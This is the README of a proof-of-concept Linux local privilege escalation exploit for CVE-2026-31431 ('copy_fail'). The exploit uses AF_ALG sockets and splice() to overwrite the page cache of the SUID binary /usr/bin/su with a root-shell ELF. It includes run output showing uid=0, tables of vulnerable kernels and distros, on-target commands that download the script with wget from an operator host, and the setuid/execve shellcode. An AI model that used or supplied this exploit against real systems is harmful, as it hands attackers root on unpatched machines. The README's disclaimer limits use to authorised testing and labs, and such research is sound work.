
PoC shell exploit for CVE-2026-31431 (copy_fail) — Linux LPE via AF_ALG + splice page-cache overwrite. Single-shot, no race condition, kernel 4.9–6.18.
Local privilege escalation via AF_ALG socket + splice() page-cache overwrite.
Overwrites a read-only SUID binary (/usr/bin/su) with a minimal ELF that calls setuid(0) + execve("/bin/sh"). No race condition, no per-distro offsets, single shot.
$ ./copy_fail_exp.sh
[*] Kernel: 5.15.0-88-generic
[+] Kernel 5.15 is in the vulnerable window (4.9 – 6.18) — proceeding
[*] Compiling...
[+] Compiled OK — launching
# id
uid=0(root) gid=1000(activemq) groups=1000(activemq)
The Linux kernel's AF_ALG (crypto API) socket, combined with splice(), allows a write into a file opened O_RDONLY by manipulating the page cache. The kernel skips the write-permission check on the copy-on-write shortcut inside the ALG socket's splice path — the same class of bug as Dirty Pipe (CVE-2022-0847) but triggered via a different code path introduced in kernel 4.9.
| Kernel range | Status |
|---|---|
| < 4.9 | Not affected (vulnerable code path not present) |
| 4.9 – 6.18 | Vulnerable (~9 years, 2017–2026) |
| ≥ 6.19 | Patched |
| Distro | Kernel |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
gcc available on target/tmp# On target
wget http://<your-ip>/copy_fail_exp.sh
chmod +x copy_fail_exp.sh
./copy_fail_exp.sh
The script will:
/usr/bin/su with the root shell payloadAF_ALG socket (AEAD)
│
│ sendmsg() with crafted ancillary data (ALG_SET_OP / ALG_SET_IV)
│
▼
op_fd (operation socket)
▲
│ splice(): file_fd → pipe → op_fd
│
/usr/bin/su (O_RDONLY)
The kernel's splice path inside the ALG socket skips the copy-on-write permission check, writing directly into the page cache of the target file despite it being opened read-only. The payload (a 160-byte ELF) is written 4 bytes at a time across 40 iterations.
Payload shellcode:
xor eax, eax
xor edi, edi ; uid = 0
mov al, 105 ; SYS_setuid
syscall ; setuid(0)
lea rdi, [rip+0xf] ; -> "/bin/sh"
xor esi, esi ; argv = NULL
push 59 / pop rax ; SYS_execve
cdq ; envp = NULL
syscall ; execve("/bin/sh", NULL, NULL)
| File | Description |
|---|---|
copy_fail_exp.sh | Bash script — compiles and runs on target, no Python required |
copy_fail_exp.py | Original Python version for reference |
copy_fail_exp_deobfuscated.py | Deobfuscated and annotated Python version |
For authorized security testing and CTF/lab environments only. Do not use against systems you do not own or have explicit written permission to test.